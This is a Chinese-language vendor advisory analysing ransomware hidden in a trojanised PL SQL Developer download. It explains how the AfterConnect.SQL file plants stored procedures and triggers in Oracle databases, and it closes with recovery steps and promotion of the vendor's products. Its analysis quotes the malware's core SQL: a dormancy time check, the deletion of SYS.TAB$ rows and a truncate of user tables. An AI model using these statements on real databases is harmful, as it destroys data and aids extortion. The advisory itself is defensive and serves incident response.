近期，比特币勒索攻击卷土重来，有用户在登陆Oracle数据库时出现如下勒索警告信息，被要求上交5个比特币来换取解锁数据库的服务。
安华金和数据库攻防实验室经过排查发现，原来是有人在CSDN等网站上，故意散播携带勒索病毒的PL SQL Developer软件程序，引诱下载从而发起勒索攻击。勒索者此次攻击的目标人群是数据库管理人员（DBA），而PL SQL Developer软件几乎是每个DBA必备的工具，同时，CSDN又是技术人员最常光顾的网站之一，这大大提高了本次勒索攻击的危害范围。现已确认存在问题的PL SQL Developer版本是11.0.6中文绿色注册版（免Oracle11g客户端）。请各位不要再去下载，并检查自己是否使用过这个名字的PL SQL Developer。
全面解析攻击原理
我们发现，存在问题的PL SQL Developer解压后主目录的AfterConnect.SQL文件存在异常。官方的PL SQL Developer下AfterConnect.SQL是空文件，而异常的AfterConnect.SQL中存在恶意存储过程和触发器总共35KB左右。
打开文件后可以看到包含4个存储过程和3个触发器。存储过程分别是：
- DBMS_SUPPORT_INTERNAL
- DBMS_SYSTEM_INTERNAL
- DBMS_STANDARD_FUN9
- DBMS_CORE_INTERNAL
触发器则是：
数据库启动后触发器DBMS_SUPPORT_INTERNAL
数据库登陆触发器DBMS_SYSTEM_INTERNAL和DBMS_CORE_INTERNAL
直接打开AfterConnect.SQL显示一串乱码和3个触发器，但严格讲这并不是乱码，而是按照Oracle wrap加密后的结果。Oracle数据库内置了wrap对应的解密算法。勒索者虽然是以密文形式传入数据库保存为存储过程，但在执行过程中oracle数据库会自动把它转回明文执行。
上面AfterConnect.SQL文件中的3个触发器和4个存储过程都会在PL SQL Developer连接数据库的过程中，被当前用户创建在数据库服务器中。
这三个触发器可以在数据库启动后执行DBMS_SUPPORT_INTERNAL，或者在数据库登陆后执行DBMS_SYSTEM_INTERNAL或DBMS_CORE_INTERNAL。触发器本身没有问题，问题出在这三个主要的存储过程上。在我们发现的样本中， DBMS_SYSTEM_INTERNAL中只有弹窗语句，并未发现明显修改数据库的语句，而DBMS_SUPPORT_INTERNAL和DBMS_CORE_INTERNAL这两个存储过程中均有明显的修改数据库行为。所以DBMS_SUPPORT_INTERNAL和DBMS_CORE_INTERNAL这两个存储过程是此次分析的重点。
DBMS_SUPPORT_INTERNAL的主要核心部分是下图中标号的两组SQL。
第1条SQL语句： SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE; IF (DATE1>=1200)
语句含义：根据创建数据库时间和当前时间差值做决定：是立刻入侵数据库实施勒索，还是先保持潜伏直到条件成熟再爆发进行勒索。判断条件为数据库实例创建时间距今是否满足1200天，一旦满足并重启数据库实例则执行第2条SQL语句。
第2条SQL语句：EXECUTE IMMEDIATE ‘create table ORACHK’||SUBSTR(SYS_GUID,10)||’ tablespace system as select * from sys.tab$’;DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
语句含义：勒索者首先对tab$中的文件进行备份，然后再删除tab$表中的部分内容清理数据库的备份文件后，向用户弹窗实施勒索。
存储过程DBMS_CORE_INTERNAL和DBMS_SUPPORT_INTERNAL采用了不同的思路，核心部分为下图中标号的地方。
第1条语句：SELECT NVL(TO_CHAR(SYSDATE-MIN(LAST_ANALYZED)),0) INTO DATE1 FROM ALL_TABLES WHERE TABLESPACE_NAME NOT IN (‘SYSTEM’,’SYSAUX’,’EXAMPLE’);IF (DATE1>=1200) THEN
语句含义：根据表空间中表的最小统计信息收集时间和当前时间比决定，是入侵数据库实施勒索，还是先保持潜伏直到条件成熟再进行勒索。判断依据为：当收集时间满足1200天的条件则执行第2条SQL语句。
第2条语句：STAT:=’truncate table ‘||USER||’.’||I.TABLE_NAME
语句含义：勒索者对表执行truncate操作，清掉用户数据，最后向用户弹窗实施勒索。
修复方法：治标或是治本
虽然是一样的报错信息，但不一样的原因，解决起来也不可混为一谈。针对DBMS_SUPPORT_INTERNAL的问题，把备份在ORACHK’||SUBSTR(SYS_GUID,10)中的备份信息插入回到$tab中。就可以修复DBMS_SUPPORT_INTERNAL带来的危害。而对于DBMS_CORE_INTERNAL则需要动用oracle数据库的dul工具恢复。
如果我们只把此次数据库勒索事件看成一个孤立的事件，至此治标的方法已经介绍完毕，但这种后知后觉的修复方法，无法避免数据库再次被类似攻击所入侵，数据库的安全防护，绝不能采用头疼治头，脚痛治脚的思路，治标还是治本？大家心中早有答案，采用有效手段防御类似攻击才是解决问题的根本思路。
防护手段：定期安全检查+事中安全防护，联动防护，形成安全闭环
大部分勒索、后门类攻击都会存在一定的潜伏期，定期安全检查可以在攻击行为爆发前，发现潜伏在数据库中的威胁，防止攻击爆发后的数据资产损失。
定期安全检查
安华金和数据库漏洞扫描的授权检测中含有专门针对数据库中异常包、存储过程、触发器、各项参数以及后门的检测语句。这些检测语句可以帮助用户及早发现潜在的威胁。目前，安华金和数据库漏洞扫描系统已经可以准确检测出数据库是否被此次勒索软件入侵，并给出用户修复建议。
事中安全防护
漏扫系统能发现已经存在的安全威胁，而另一方面，如何抵御未知的安全威胁？安华金和数据库防火墙具备这样的能力。基于对SQL语句的精确解析能力，并支持数据库解密功能，能够在未知风险到来的第一时间，有效拦截、阻断攻击。
安华金和数据库防火墙可以对oracle数据库的密文存储过程进行解密操作。当第三方工具向oracle发送大量数据，其中很多数据会以加密包的形式发送。只有准确破解加密包的内容才能进行精确的语法分析。Oracle的加密过程warp可以通过oracle提供的函数完成，但解密方法oracle并不提供直接函数，需要用户自行实现。解密并不复杂，只是把上面wrap的过程反过来，首先通过网络分析将所有断包组成一个整包，进行base64解码。解码后的每个字节根据固定的替换表进行单独替换，替换后的字符串按照LZ算法进行解压即可以获得加密存储过程的明文。工作流程如下：
这种准确破解加密存储过程的能力，不但在本次勒索案例中十分关键，也是防止第三方工具向数据库发送恶意存储过程的关键。如果不能解决解密问题，也可以只对加密的恶意存储过程进行指纹比对，但指纹比对的误报和漏报率偏高（稍微调整下参数内容或名称就会使指纹匹配无法准确识别恶意包）。
基于SQL语法解析，能够判断存储过程或数据包中是否存在恶意行为。在unwrap的支撑下数据库防火墙能够把所有去向数据库的加密存储过程明文化，对明文进行SQL语法分解析，进行恶意行为语句的特征匹配。并根据整个SQL语句包及前后关联语句环境的SQL行为进行分析。当整个SQL语句包中存在多个必要点命中安全规则时，则判断该语句包存在恶意行为，进行主动阻断，并向相关人员进行危险告警，完成对数据库攻击的主动防护。
安华金和数据库漏洞扫描系统侧重于整个防护过程中的已知隐患扫描，而数据库防火墙侧重特征隐患拦截。 两者侧重不同却能够相互联动，数据库防火墙拦截下一个新型隐患，数据库漏扫则根据这个新型的特征更新扫描检测项，一旦数据库防火墙未发现，但漏扫发现安全隐患，则数据库防火墙根据隐患特征优化防护策略，进一步降低误报、漏报率，协同防护形成完整安全闭环。
针对本次攻击，安华金和提供检测工具与修复方法
如果您的数据库已经遭受攻击，请进行如下修复操作：
针对DBMS_SUPPORT_INTERNAL存储过程的问题，请把备份在ORACHK’||SUBSTR(SYS_GUID,10)中的备份信息插入回到$tab中进行自救，而DBMS_CORE_INTERNAL存储过程则需要动用oracle的dul工具恢复数据。
针对正在使用PL SQL Developer11.0.6中文绿色注册版（免Oracle11g客户端）的用户，病毒可能已经潜伏，安华金和可提供免费检测工具及相应修复方法，请及时对您使用的软件进行病毒排查与清理。同时，对于已购买安华金和漏洞扫描系统的用户，产品现已支持对此次勒索攻击的安全检测功能，后续将对用户的设备进行版本更新。
检测工具下载链接：
http://www.dbsec.cn/operations/download.html
